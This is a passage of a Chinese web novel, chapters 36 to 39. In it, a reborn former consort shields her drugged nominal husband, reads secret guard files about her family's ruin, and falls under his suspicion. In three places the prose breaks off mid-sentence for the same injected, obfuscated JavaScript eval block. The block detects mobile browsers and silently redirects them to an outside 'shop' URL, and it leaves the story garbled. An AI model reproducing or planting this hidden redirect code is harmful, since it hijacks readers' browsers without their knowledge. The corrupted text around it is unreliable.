薛灵儿话锋和态度咄咄逼人,众人一听,这事情严重了,必须得搞个水落石出才行。 36. 恋物 这么一问,刘妈妈一拍胸脯,慨然应下:“少夫人放心,老奴一定给家主一个交代。” 此时苏玉兰再也没有退路,只能继续抵赖,保住嫡姐:“刘妈妈,是我听说宋大人书房里有名贵笔墨纸砚,一时好奇,想来看看,没想到闹出这么大的事,认打认罚,我都情愿领受。” 薛灵儿听到内书房里隐约传出一声痛苦的呻吟,心中明白需要照料宋大人,不能再纠缠下去,对刘妈妈说:“此事务必瞒住老夫人,只需回禀二夫人,请二夫人全权处置。” 刘妈妈躬身应下,心中暗暗佩服,都说长房这场婚姻莫名其妙,少夫人痴傻,单看这件事处置如此英明果断,别说痴傻之人,就是寻常小门小户人家的女儿,哪里有这样的见识? 刘妈妈带人押送了苏玉兰一行人走远,薛灵儿赶紧回内书房,一看宋汝璋,身体瘫软无力稍稍缓过来一点,只是面色涨红,焦躁难耐,在书房踱来踱去,如同一只笼中的困兽,一见薛灵儿进来,焦躁神色更增几分,皱眉挥手:“你不要在这里,回去歇息吧。” 薛灵儿一想,自己是个女子,在这里究竟还是不妥,正好流云带着冷茶热水手巾把子,进来照顾,便往房门外边走,刚走到门口,便见到一个小厮飞跑着来报:“刘妈妈让来禀告少夫人,老夫人被惊动了,不放心,非要来书房看看,少夫人快想办法。” 小厮说完话,又飞跑着走了,流云慌了,一脸求助喊道:“少夫人,您可不能不管啊。”秋香也在一旁帮腔:“主子,给想想办法吧。” 在变故面前,薛灵儿忽然变成了所有人的主心骨,隐约找到了当时在梧桐宫协理六宫的感觉,她看一眼宋汝璋,见他额头冒汗,眼角赤红,明眼人一看就知道是怎么回事,必然瞒不过谢氏的眼。 如果今晚瞒不过谢氏,让谢氏看到引以为傲的儿子被阴毒算计的这副情状,那么就等于逼迫谢氏介入此事,在长房大儿子和二儿媳之间二选一,但哪一头都是千丝万缕,势必让她左右为难。 当务之急,还是把宋汝璋藏起来不让她见到,那么能去哪呢……薛灵儿正在想,宋汝璋艰难发话了:“……去你房里。” 薛灵儿一想,确实也没别的办法,于是吩咐仆从开始办事:“流云,派个人去拦住老夫人,就说大人归我照料了,然后搀扶着大人,回悲寥轩。” 流云脆快地答应一声:“都听少夫人的。” 一行人回到了悲寥轩,薛灵儿把宋汝璋安置到了外间,一边张罗着让流云用冷敷,一边让小厨房熬一些清热解毒的草药,虽不能药到病除,但能缓解一下他的燥热苦痛。 众人正在忙乱着,就听外头小厮来报:“老夫人实在不放心,跟过来看一看。” 薛灵儿一看也是无法,吩咐流云把宋汝璋扶进了卧房,自己留在外厅应对婆母。 不多一时,谢氏扶着刘妈妈,进了屋子。其时屋里已经掌灯,跳动的烛光之下,只见谢氏鬓边飘出几缕白发,想必是走路格外急的缘故,唇角边法令纹格外深了些,今晚上的事情也是格外惹人烦恼忧思。 薛灵儿迎上前来,扶住谢氏的一只胳膊,将人让到堂屋的花梨木椅上坐下,令秋香奉茶,轻声安慰道:“母亲不用过于担心,汝璋交给我照料,保管明日一早,好好的去给母亲敬茶。” 她故意将宋大人叫得亲热一些,为了显得二人虽然还没圆房,但有一个房内过夜的情分,谢氏领会了他的好心,眼神中闪过一丝暖意,拉过薛灵儿的手拍拍手背:“是个好孩子,母亲没有看错你。” 薛灵儿发觉自己声音格外柔软,心内也觉奇怪,前世对于比这位谢氏和蔼得多的长辈,她也不曾有这么多的耐心,可见缘分这东西真是奇怪,沉吟片刻,继续柔声安慰谢氏。 “今晚的事,苏三小姐也未必是有意的,也不知道什么地方出了差错……” 谢氏叹一口气,望着薛灵儿的眼:“此事你不用遮掩,是我识人不明,用错了人,信错了人,也是我失察了,没想到那苏家姐妹竟然有这么大的胆子。” 薛灵儿微微一窒,这婆母性格也真是刚直不阿,旁人要遮掩,她也是不肯,但一家人又能如何,还不是肉烂在一口锅里。 不等薛灵儿说话,谢氏先说:“苏玉兰已经被我连夜送出府,苏玉茹,我削了她的管家权,从此让刘妈妈代为掌管,有事只管与我商议,她只管她自己房里的事情罢了。” 后宫中有多少事,都是这样不明不白的遮掩了过去,不过弱肉强食罢了,哪里有人会问什么是非黑白。这宋府却不一样,母子俩都是眼里不揉沙子的性格,倒是与她父亲安国公有几分像,十分对薛灵儿的胃口,忍不住关切之情。“母亲好容易清闲了几年,为了这件事,倒是要重新操起心来。” 谢氏嗔了她一眼:“我不知你在外面忙些什么,现在我先不管你。你赶快给我跟璋儿圆房成礼,然后给我老老实实呆在家里,跟我学料理家事。” 薛灵儿没料到这火居然烧到自己身上,谢氏的三点期望,她是一点也做不到,她重新活这一回,是为安国公府申冤而来,宋府只是暂时歇脚之处。 于是顾左右而言他:“汝璋交给我,母亲就放心吧,我这就让秋香去看看小厨房的草药煎好了没有。” 谢氏面色犹豫,有心想要去看卧房的宋汝璋,但薛灵儿感觉不妥,婆媳两个一时各怀心思,故此沉吟未决。 正在此时,卧房内的宋汝璋发出痛苦的一声呻吟。 婆媳二人同时变了脸色。 世人谁不知道宋汝璋生性刚强,之前受了公主的刑杖皮开肉绽,也不吭一声,如今这是……谢氏究竟母子连心,从檀木椅上站起身,迈步就要奔卧房。 薛灵儿果断上前一步拦住,拉住谢氏的衣袖,摇摇头。 谢氏也反应过来,此时自己是不适宜进去,让儿媳进去,说不定能推动二人圆房礼成,自己一进去,反而适得其反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984104|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,于是拍拍薛灵儿的手背,二人交换一个眼色,薛灵儿送谢氏和刘妈妈出了房门。 宋汝璋在薛灵儿的卧房内,躺在床上,浑身僵直,燥热难耐,只觉得一生之中,从来没有经历过如此痛苦煎熬的时刻。 苏氏姐妹本就孤注一掷,下了格外的猛药,就是大罗神仙也抵受不住,况且如今藏身在女子卧房之内,麻痒一阵阵在背脊上游走,不时窜上天灵盖,他忍不住翻滚着身子,锦被扯来扯去,床内小几上的一个笸罗被打翻,露出来几样东西。 东西都是女子的随身小物,香囊,锦帕,香囊是上次见过的那个,本就引起了宋汝璋的疑窦,香料是梧桐宫的秘密配方,民间不可能拿到,至于这锦帕…… 上面是五凤朝阳图样,生机勃勃,明媚热烈……是她生前最喜欢的式样,梧桐宫到处都是这个式样的器物。 宋汝璋拿起它仔细端详,手控制不住地颤抖,就着跳动的烛光,他看到巾帕的一角有个“灵”字。 落笔走线,特意不守规矩,要把字尾挑起来,跟她生前笔迹一模一样。 是她的笔迹错不了。 宋汝璋怎么也想不到,居然在身边突然发现了心心念念的亡人在生的痕迹,犹如被大石击中了胸口,忍不住发出一声痛苦的闷哼,接着,这么多年死死压抑的痛苦,忽然决堤而出。 眼泪像苦涩的碱水,从干涸多年的地下河床涌出,他嘴巴里满满都是苦涩的味道,浑身颤抖不已,骨骼互相撞击着,骨头缝都在发痛。 可是这张锦帕,他不能用来擦泪,因为上面有她的笔迹她的名字。他极力控制着僵直的手,小心翼翼用手指拈着一角,生怕弄皱了一点。 薛灵儿送走了谢氏,有心立刻闯入卧房看看宋汝璋是什么情形,终究觉得情形尴尬,于是站在门口观望。 果然看见和她想象中一样尴尬的情形,宋大人浑身颤抖,拿了一张她的锦帕,却又没有用来擦汗,只是擎在手里,他的手在不停地颤抖,那张锦帕也在不停地颤抖。 锦帕在香囊上沾了苏合香的香气,那香气浓郁,透着甜蜜的蜜糖香气,她不由想起了前世在梧桐宫那些夜半无人,悄悄私语,忍不住就绯红了脸面,她心内羞意升起,忍不住后退一步,想要躲开,却正好撞在一个人身上。 秋香手上端着草药汤罐,被薛灵儿一撞,药罐子发出咣当的一声响,里面的药汤差点撒出来。 薛灵儿一见退不得,还是得进去服侍他吃药,于是定定神,往房门迈了一步,推开门之前,恰好见到宋汝璋做了一个一闪即逝的奇怪动作。 他把那张锦帕快速地掖进了袖口里。 然后听到房门的动静,快速地坐起身来,还不忘理了理衣衫。 薛灵儿心内更加尴尬,却只能假装没看见,加大动作掩饰尴尬,夸张地挽起袖子,拿起小碗小羹匙,舀起一勺药就往宋汝璋嘴边送。 宋汝璋却一挥衣袖:“不必了。” 37. 贵妃 薛灵儿一看,宋汝璋眼神恢复清明,脸容恢复谨素,神情恢复寡淡,好像确实不必了。 手一抖,那点汤药洒到了他的袍子上,雪白的袍子沾污了一点,薛灵儿不好意思地拿着帕子擦拭,又被宋汝璋一手挡开,温声说:“今晚实在是有劳你了,早些歇息。” 薛灵儿看着他站起身来,高大身形走向门口,忍不住问:“大人,你真没事了?” 宋汝璋回过头来注视着她,眼神带点异样的深邃:“再难熬的时刻,也总有熬过去的时候。” 薛灵儿还是有点不太信。前世她听说过多少世家后宅里的八卦秘闻,多少莫名其妙的姻缘都是这种阴私手段搞出来的,宋汝璋这么轻易便熬过去,那些世家公子哥是怎么回事,莫非就是半推半就,随船就岸? 秋香看出薛灵儿的疑惑:“主子,宋大人的心志哪里是常人能比?奴婢说句不该说的话,要是家里老爷像宋大人一样,那主子您,哪还能投胎到薛家来?” 薛灵儿一想,确实如此。 ———— 宋汝璋走出薛灵儿的房门,看到自己高大清瘦的身形在影壁上投下了长长的影子,隐约想起了那一年难熬的日子,那些万分难熬的时刻。 再难熬的时刻,熬过了某一刻,痛苦也就过去了。 然而那张锦帕,锦帕一角上的那个字,在他袖口里,像火炭一样,灼烧着他的皮肤。 第二天一早,出乎大家的意料,风雨无阻从不缺席的宋大人居然没有去办差,完全忘了还有重要的讲学,连个请假条子都忘了递,气得翰林院的老大人吹胡子瞪眼拍了桌子。 这一边一大清早,宋大人穿着常服,打马出了府,流云跟在后面一匹马,几乎追不上他,眼瞅着远远的,居然奔了皇亲府邸那一块,流云心里纳闷,宋大人是朝中清流,从来不跟皇亲来往的,这是所为何来? 眼见宋大人把马停在了丹阳县主府门前,这才明白,原来是来探访夫人的闺蜜了,只是,用得着这么一大清早的心急火燎吗? 不论流云如何心内疑惑,反正这皇亲国戚的门,流云是进不去了,他把马寄在大柳树下,眼睁睁看着宋大人高瘦的身影进了黑漆铜环大门,在林荫道的尽头隐没。 宋汝璋进了丹阳县主府待客的正堂,添过三巡清茶之后,方才见到这位声名在外桀骜不驯的县主娘娘。 二人互相一打量,微微点了个头,宋汝璋也不多言,把锦帕从怀内取出,递给县主。 县主拿起锦帕仔细打量,宋汝璋一躬身言道:“这是内人薛氏之物,可是这锦帕一角上绣着字,是梧桐宫已故……已故薛贵妃的笔迹。” 宋汝璋因为说话时候始终躬着身子,县主看不清他的面目,只看到他的长袍衣袖在微微颤抖,想必是双手在颤抖,心内有些奇怪,再一想,宋汝璋曾经上书弹劾过梧桐宫,想必两边有大的仇怨,于是决定话留半句。 沉吟半晌,慢慢说道:“尊夫人第一次来找我,便说是薛贵妃给她托了一梦,说自己因坟墓在荒郊野外,魂魄在阴曹地府受苦,要我凑齐了生前好友之中八字旺之人,给她超度亡灵。” 县主本来是个直心肠,编出这番说辞来已经是颇为不容易,也能解释她带着宋夫人到处跑的事情,正在心内自得,却见宋汝璋忽然抬起头来,对这番巧妙说辞丝毫没有领会到妙处,本来刻板寡淡的脸上,如同遭了雷击:“薛贵妃托梦?” “没错。” “这种鬼神之论……无稽之谈,如何做得准?” 县主本来以为宋汝璋上门,是为了自己的痴傻妻子,却没想到直奔薛贵妃,于是暗暗提醒自己更加要说话小心,于是字斟句酌说道:“宋夫人第一次来见我的时候,拿了一封手书,确确实实是薛灵儿生前的笔迹。” 说完又后悔,自己还是心肠太直,这手书上写的是为安国公府复仇一事,宋汝璋怕是与安国公府敌对一方的,如何能给他看? 宋汝璋果然提出要求:“可否给下官看看?” 县主一见宋汝璋额头冒汗,知道这事对他非同一般,更加拿定了主意,去内堂取出手书,一大半用茶水故意泼湿,让他什么也辨认不出来,只有最左一行署名看得清清楚楚。 宋汝璋手拈信纸,看着那行字迹,署名后面的日期,信纸在手中微微的抖动,发出簌簌的声响。 真真的,是已故三年的亡人活了过来,在不久前的一日,写下了这些字迹。 他的心已经如同槁木死灰,身体发肤也仿佛早已死去,如木石一般,可是,望着这一张水迹斑斑的信纸,他好像又活了过来,身体内部仿佛有什么东西破土而出,见风生长。 寂静的厅堂里,宋汝璋把手书还给了县主,轻声告辞,一路走出来,走到堂外的林荫道上,一路听着自己的心跳声。 —— 薛灵儿一向贪睡,缺不了睡眠,昨晚忙着解救受暗算的宋汝璋,忙得发晕,第二天早上起来,头还在晕。 但一想到昨晚在宋汝璋书房看到的官员升迁档案,安国公府倾覆之后,次辅朱厚照是升迁最快的官员,这背后一定有文章,于是不顾劳累,乘上马车来到县主府。马车到了县主府门前,远远的望见刚刚离去一个骑马的背影转瞬到了街道的尽头,隐没消失,十分像宋汝璋。 但宋汝璋是朝内清流一脉,十分忌讳与皇亲来往,薛灵儿觉得自己一定是眼花了。 县主换了一身大红衣裳,五凤朝阳点翠凤冠,华丽耀眼,来到厅堂,薛灵儿连一杯茶还没有喝完,诧异地问:“今日怎么这么早?” 县主一想,宋汝璋来访,拿了她卧房的锦帕来查问薛贵妃托梦的事,此事非同小可,赶紧一五一十,把二人对话,宋汝璋的反应,和盘托出。到了此时,县主更加深感自己聪明绝顶,居然能想到把薛灵儿托梦的事假托为超脱亡灵,把为安国公府申冤的事,毫无痕迹地瞒过了宋汝璋。 薛灵儿听完,一连声的夸赞县主聪明,然而眉心不住的跳。 此事,当真非同小可。 前世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996883|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,宋汝璋初出茅庐,也不知哪里来的胆量,居然连上三道奏章,弹劾梧桐宫薛贵妃骄奢淫逸,挥霍无度,不只得罪了梧桐宫,安国公府在朝中何等庞大的势力,可以说此一举,他就成了文武百官的公敌。 当时,人人都说他书呆子蠢到家,失心疯了。 但从后来的事情看,薛贵妃被害,安国公府覆灭,宋汝璋官位直上青云,与那次辅朱厚照相比,也差不许多。 莫非,宋汝璋是敌人那边发动阴谋的排头兵?看似书呆子蠢到家,实则是用来试探安国公府的实力和反应的? 但一想到今生与宋汝璋名义夫君的缘分,相处的种种,那样的至诚君子,待她那样好,如父如兄一般疼爱庇护……她心中一阵刺痛,难道这一世,命中注定还是要成为仇敌吗? 县主见薛灵儿小脸发白,眉头紧皱,知道她不好受,安慰道:“这位宋大人据我看,倒是一个心口如一的真君子,就算是敌人一方,想必也是被蒙蔽。” 薛灵儿点点头:“不管怎么说,究竟是一个房檐下进出,我先疏远一点,防备一点为好。今日我来,是求县主娘娘带我去锦衣卫指挥使府上。” 县主会意,站起身:“走。” 到了锦衣卫指挥使周从深家,马车停在大门口,周夫人和周宜娘就远远地迎了上来。 周夫人一张笑脸甜得发腻:“县主娘娘,您可好久没来了。” 县主也笑:“要不是把宜娘交托的一件大事办成了,我还真不敢上门呢。” 这一句话下来,透着县主亲切不摆架子,在皇族里独树一帜,又显得与周府交情格外的深厚,周夫人乐的眼角细纹都深了几分,恨不能把今日来做客的几个手帕交,现场拉出来听一听,可惜也是来不及。 喜悦实在是按不住的往外溢,无处表露,嗔了周宜娘一眼:“你这丫头,有什么了不得的大事,敢劳动县主娘娘千金贵体帮你办事?” 本是一句无心的话,周宜娘却一下子绯红了耳根,周夫人正感到奇怪,什么大不了的事情这般古怪神情,县主不慌不忙答道:“灵越公主有个新式样的鞋面刺绣,外头小姐们都爱的不得了,宜娘托我拿了样子来。” 这一句话下来,周宜娘唇角僵着的笑意瞬间放松了下来,周夫人也不疑有他,几人说说笑笑进了正厅。 一炷香功夫,县主携着薛灵儿又走出来,在周夫人和她一帮手帕交的簇拥送别中上了马车。 到了车上,闺蜜两个不约而同长长舒了一口气,闭上眼养了一会儿神。薛灵儿从袖口抽出一个薄薄的小册子。 县主也睁开双眼,神情凝重。 马车在沉默中前行,车轴发出声响。 薛灵儿耳边发出隆隆的轰鸣,双手颤抖着,把那个小册子,放在面前的梨花木小茶几上。 有心一下子翻开,手伸出了几次,却一径的颤抖着,根本翻不开书页。 因为那里记载着,安国公府满门覆灭,血流成河的那日,台前幕后一双双沾血的手。 38. 多情 县主有意让薛灵儿放松一些,递给她一个糖麻花,找点旁的话题聊。 “周宜娘花了好大功夫,从周从深的身边偷出来这个,若是被周从深知道,不打断她的腿,也得关半年禁闭。” 薛灵儿望一眼县主,不忍拒绝她的好意,把糖麻花接过来放在嘴里嚼着,虽说尝不出一点甜味,到底神经放松了下来,强笑一下接了县主的话题。 “能调动她甘冒大险,也不知县主动用了什么神机妙算。” 县主唇边带一抹微笑:“她与张尚书的二公子暗通款曲,两下里有意,只是张尚书古板,自诩清流,不屑与锦衣卫指挥使这样手上沾血的屠夫结亲,两个人难在了那里,日日伤心,那张二公子甚至愁出了病来,险些一病不起。周宜娘为救情郎,恨不得赴汤蹈火,只是无计可施,如今我出面作保,解了两个人之困,她才敢干出这样的事来。” 没想到周宜娘竟然是这样的多情种,薛灵儿不由得又想起宋汝璋和他的白月光那段故事来,微一皱眉,想起自己前世虽然入宫为贵妃,荣宠至极,全天下女子人人艳羡,可,这样为一个人生生死死,她还真不知道是什么滋味。 也不觉得会有什么样的人,值得自己为他这样。 于是好奇问县主:“可有哪个男人,会让县主像周宜娘这样吗?” 县主哧的一声笑:“男人?西域来的一匹汗血宝马到不了手,才会让我难受三天睡不着觉。” 薛灵儿真被她逗笑了。难怪上一世她俩争一匹马,县主发疯似地抢在了前头,一个金枝玉叶,硬是迎着马队的方向往西北黄沙中走了三天三夜。 见薛灵儿开了笑脸,县主沉吟一下,替她拿过那小册子,在那大理石镶嵌白玉的小茶几上摊开。 薛灵儿深深吸一口气,一页一页地开始翻看。 县主眼见她用指甲掐着手心,掐出道道血痕,还是看得双目赤红,只是强忍着没有落下泪来,忍不住问道:“看出了什么头绪?” 薛灵儿深深吸了一口气,把眼泪尽数憋了回去,望着马车帘外闪动的树影,说了一句话:“那时候,突厥王子来朝,都以为他是来纳贡,谁想到他是来陷害安国公的。” 这个答案令县主也震惊了:“突厥人?” 薛灵儿回头,望了县主一眼:“他们请动了突厥二王子亲自来朝,指证我父亲,勾结突厥大王子,意图里应外合,一夜之间,颠覆我朝领土。” 县主听得冒了冷汗,攥紧了帕子:“好毒的计!大王子和二王子有王位之争,来到我朝,秘密破坏大王子的计划,翦除对方的势力,这表面上,是一点看不出破绽。” 薛灵儿咬紧了牙:“这样的毒计,若非李家这样的百年望族,也是没有这么大的势力办得出来。” 县主点点头:“这么一说,当时皇上也是迫不得已,突厥二王子说出来的话,万一是真的,这江山一夜之间倾覆,皇上便是千古罪人,这么大的事情,他不敢赌。” 薛灵儿忽然觉得气闷,挑起马车帘子,把眼光又转向窗外,前世夫君沈清远的身影,与当日梧桐宫的万千繁华,随着斑驳陆离的太阳光斑和树影,飞速地向后倒退。 虽然都过去了,可是知道这些,终究还是会好受一点。 县主拉一下薛灵儿的衣袖:“往后的事情,我帮不了你了。” 薛灵儿见县主神情凝重,忍不住拉过她的手:“娘娘已经帮了我很多了。” 开始的时候县主能帮上忙,是因为寻找外围的线索,锁定几家目标,如今涉及到了突厥二王子来京城秘密举证,次辅朱厚照,这已经都是军国大事,朝政的核心,已经不是哪个官宦世家的家眷所能触及到,而县主这样的皇亲,如果去贸然触碰这些,只怕立刻就会皇帝的猜忌。 想到这些日子来,县主为了一个亡人奔走,与那些深宅妇人无聊交际,为人做媒做保,未曾为任何人做过的事情,如今也做了个遍。 县主见薛灵儿拉住她的手不放,双目逐渐泛红,心内不知为什么也是泛起难言的酸涩,握紧她的手笑道:“你什么时候变得这么婆婆妈妈的了。我帮不上你,你家那二品大员、监察御史帮得上你,就只一条,别忘了,他是为敌人效力的。你只利用他,不要相信他。” 薛灵儿眼泪终于落了下来,一边哽咽一边点着头。 ———— 第二天一早,薛灵儿掐准了时辰,估摸着宋汝璋和流云去衙门办差,已经走得远,来到了灵犀阁。 薛灵儿那日在灵犀阁门口勇战苏玉兰,大获全胜,就已经一战成名,征服了全府下人的心,谁知还能有第二次的际遇,危难之中解救了中药的家主宋大人免于落入狐狸精苏玉兰之手,且误打误撞,兵不血刃,击败了掌家少夫人苏玉茹。 这一下子,薛灵儿在宋府下人心目当中的口碑风评和地位,也就仅次于老夫人谢氏。 况且谢氏终有一日要养老享福,交出掌家权,那么整个宋府的掌家权,除了这位号称痴傻的少夫人,还有别的人选吗? 再况且,灵犀阁,本来就是长房的地盘,薛灵儿是当家主母。 故此薛灵儿一进院,灵犀阁内外打扫的粗使婆子,见了她,如同前世皇宫里的下人们见了薛贵妃,差不多的神色。 不等薛灵儿张罗,一个婆子就迎上来:“少夫人可是来寻什么东西?” 夫君人不在,自然是来寻东西的。 薛灵儿点头:“那晚在这内书房里,人多眼乱,我一个心爱的耳铛掉落了下来,寻不到心里发慌,等不到大人回来了。经过那天的事,大人一定是换了锁……” 婆子点头:“若是旁人要进去,断断使不得,夫人要进去,那还有什么可说的,只是不叫大人知道便罢了。” 二人走进灵犀阁,四下无人,婆子迟疑一下,从腰间取出钥匙递给薛灵儿,退出房去。 薛灵儿走进内房门,厚厚的木质房门在背后关上。 她在室内逡巡着,眼光掠过华丽阴沉木的桌案,上面整整齐齐的笔墨纸砚,墙上那一幅倪瓒的山水画,最终落在书架上。 上面多了个东西。 薛灵儿心跳着,飞扑过去,把那东西抓在手里,手抖的几乎抓不住。 锦衣卫的秘密档案,素白布帛装裱的线装牛皮纸小册子,和薛灵儿从周宜娘手里拿到的一样的东西,只不过不是同一卷。 宋汝璋果然是为敌人效力的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001468|144597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也在查探安国公府的旧案,且触角何等的敏锐,都追查到丹阳县主府了。 薛灵儿双腿发软走到桌案旁,翻开小册子。 虽然强迫自己镇定下来,还是看得双目赤红,大颗泪水滚下面颊,滴在桌案上。 这册子的内容更惊人。 上面说,安国公府当年有人脱逃,锦衣卫多年追查,一直不知道下落。 薛灵儿前世并不笃信神佛,忍不住打开那个暗格,对着那个神龛上的观音菩萨像,虔诚跪拜,感激上天的垂怜。 不论脱逃的人是谁,她只希望有生之年,能见一面。如果再贪心一点的话,可以站在一起,饮仇人之血。 向着观音菩萨默默祝祷,死者安宁,生者平安,安国公府一张张面孔如同画轴一样从紧闭的双眼之中流淌而过。 也不知过了多久,她的膝盖跪得发酸,才从地上站了起来,拖着发麻的双腿,细心整理了屋内的一切,把自己留下的痕迹清除掉,才退出房间,锁好房门,离去。 ———— 宋汝璋今日是从丹阳县主的府上直接去的衙门,等到从衙门回了宋府,感到异常的疲累,连口茶水都没喝,就躲到了灵犀阁的内书房,想要在自己这遗世独立的清净之地,找回一点心绪的平静。 可是一进来,他就发觉不对劲。 乍眼一看,没有什么痕迹,可是对于内书房一草一纸都异常熟悉的他,处处能看出来。 他坐到桌案上,用指腹轻轻摩挲着桌案上一点痕迹,那是一点水渍湿了又干。 他启动桌上砚台,暗格徐徐从墙内显露出来,观音像下的沉香灰尘少了一截。 他最后来到书架旁,目光搜寻一番,最后落在锦衣卫那个小册子上,上边线装的线头,原本夹在书页里,现在掉落在外面。 况且,屋内残留了一缕淡到不易察觉的香气。 虽然淡,但是香气很特殊,他也很熟悉,是梧桐宫苏合香的香气,也是出现在他名义夫人薛氏的香囊中。 她来过了。 目标是锦衣卫那个小册子,里头记录了安国公府的旧案密辛。 宋汝璋的胸膛里袭来一阵突如其来的发胀发痛,痛得他几乎站不住,又坐回了桌案旁。 以手托着头,合上双目,他一点点的整理着混乱的思绪。 丹阳县主说,薛灵儿托梦给薛灵燕,因此薛灵燕能写得出薛灵儿的字迹。 但,要说托一次梦,能让人从此写出另一个人的笔迹,关切另一个人的事情,这绝不可能。 但,要说是日日托梦,让一个人的灵魂逐渐沾染另一个人的气息,就像一滴墨滴入一碗水,一支画笔改变一张白纸呢? 他自幼受圣人之训导,子不语怪力乱神。 但,他三年前作为翰林院编修,在书库里看到过,在遥远的西南方向,另一个佛国,人是有灵魂转世重生的,还有转世的灵童与活佛存在,接受人们的香火供奉…… 他霍然站起身。 无论如何要查探明白,到底是怎么回事。 约莫半柱香的功夫,金乌西坠,彩霞映出满天华彩,宋大人亲自来到了悲寥轩,请夫人到灵犀阁去吃饭。 39. 三头鲍 薛灵儿早上刚刚偷进了宋汝璋的内书房,见他面色沉沉突然来访,心里难免发虚,打了一个突。 然而镇定着自己,站起来如常迎接,如同真正的妻子迎接夫君那样。 宋汝璋望着名义妻子,眼神有点深,想开口说话,张了张口,却什么都没有说。 薛灵儿陡然增加了警惕之心,等着对方突然发难。 夕阳的暗光烘托着面前男子的高大身形,他的脸笼罩在暗影里,骨骼突出的面部轮廓更加锋锐,眼神更加莫测。 薛灵儿正觉得莫名紧张,宋汝璋说了话:“随我到灵犀阁吃饭。” 这句话语音低沉,压迫感出奇的强,薛灵儿忍不住后退了一步。她虽然少女时代读书不多,鸿门宴的典故还是知道的。 宋汝璋今日也不知为什么,心神异常的恍惚,居然才发觉薛灵儿被他吓到了,放松了神情,带些嗔怪语气:“怎么,我像是要吃人吗?” 难得见到宋汝璋神情跳脱了古板,居然带了点生动的活人气息,薛灵儿莫名就放松了下来,见他转身迈步,自己不知不觉便跟在了他身后,往灵犀阁的方向走。 秋香紧跟在主子身后,与流云汇合,流云高兴地宣布:“大人今日请夫人过来用饭,可是费了好大心思。特地叮嘱厨房,采买了各种山珍海味,务必要夫人吃的舒心畅意,顺便进补身体呢。” 流云说这话的时候,恰好是路过宋府最热闹奴仆最多的谢氏院落门口,刘妈妈恰在这个时辰给管家娘子们训话,他一个年轻小伙子,说话嗓门大,立刻就吸引了院内的几双眼睛耳朵跟了过来。 秋香一想,此前主子因为苏玉兰刚进府的时候,跟宋大人在院内大吵,还气得病了一场。虽然说后来苏玉兰大胆妄为,兴风作浪被赶了出府,薛灵儿两次误打误撞成了打狐狸精的内宅英雄,可是平白受的这场吵闹却不了了之。 如今宋大人既然要对主子示好,何不利用此事做做文章,替主子出了这口气? 主意拿定,赶紧配合着流云的话题大声讲论起来:“山珍海味?这……咱们府上虽然是二品官宦,可是一向简朴持家,宋大人怎么突然转了性子?虽然说上次委屈了夫人,要好生的赔个不是,可究竟也不可过度呀。” 流云诧异地望一眼秋香,倒是没听大人说是为了给夫人陪不是,但是秋香姐说的话总归是错不了,眼看院内的管家娘子们都朝自己张望,越发的起劲大声说道:“大人一向是最疼夫人的,上次不小心得罪了夫人,心内指不定怎么后悔不迭呢,只是嘴硬说不出口,如今夫人身子好些了,正合进补,也表了大人赔礼道歉的诚心。” 一路讲论之中,主仆四人一行,来到了灵犀阁。 虽然薛灵儿偷偷来到内书房查探了数次,但明面上来此,像此前那样用晚饭,听故事,早上服侍更衣,虽然是名义夫妻,但却相处的亲密融洽,那好像是许久许久,许久以前的事情了。 想到此处,心中难免带一丝怅惘和不平,往餐桌旁边一坐,带两分矜持和疏离,不再像以往那样张罗,只沉默着,等奴仆动手。 谁知道不等奴仆动手,宋大人先一挽袖子,盛了碗汤递给她。 秋香本来想布菜,一看宋大人这么积极的举动,收回了手。 男主人果然没有辜负期望,亲自动手给薛灵儿布了菜。 且是珍馐。 望着自己面前小盘内的三头鲍,薛灵儿望了望眼前这桌子菜,确实是比以前……值钱了许多。 来的时候,本来就觉得是鸿门宴,宋大人是为敌人效力,追查安国公府脱逃的生者,如今见他这般殷勤,薛灵儿更加警惕,绝不能让他看出来,自己是薛灵儿的灵魂附体。 宋汝璋见平日里明艳活泼的小姑娘,现下不说话也不动筷,睁着大眼睛沉默地望着她,自己也觉得自己太吓人了一些,尴尬地咳嗽一声,收回手,坐回了自己的座位。 但还是掩不住内心涌上来一股柔情,像泉水一样搅动着他,搅动得他开口说了句话:“吃呀,凉了就不好吃了。” 薛灵儿深深看了他一眼,看出他眼神内有一股罕见的暖色,稍稍放松了紧绷的神经。宋汝璋从来不是虚伪会演戏的人,至少今天晚上,他没有歹意。 于是拿起乌木镶银筷子,把面前的鲍鱼轻轻咬了一小口。忍不住陶醉地吸了一口气,适口弹牙,软硬正好,泡发和烹饪两处功夫都佳。 与梧桐宫小厨房的厨子手法,有八分相像。自从托了薛灵燕的身体重生以来,还是第一次吃上这样的美味。 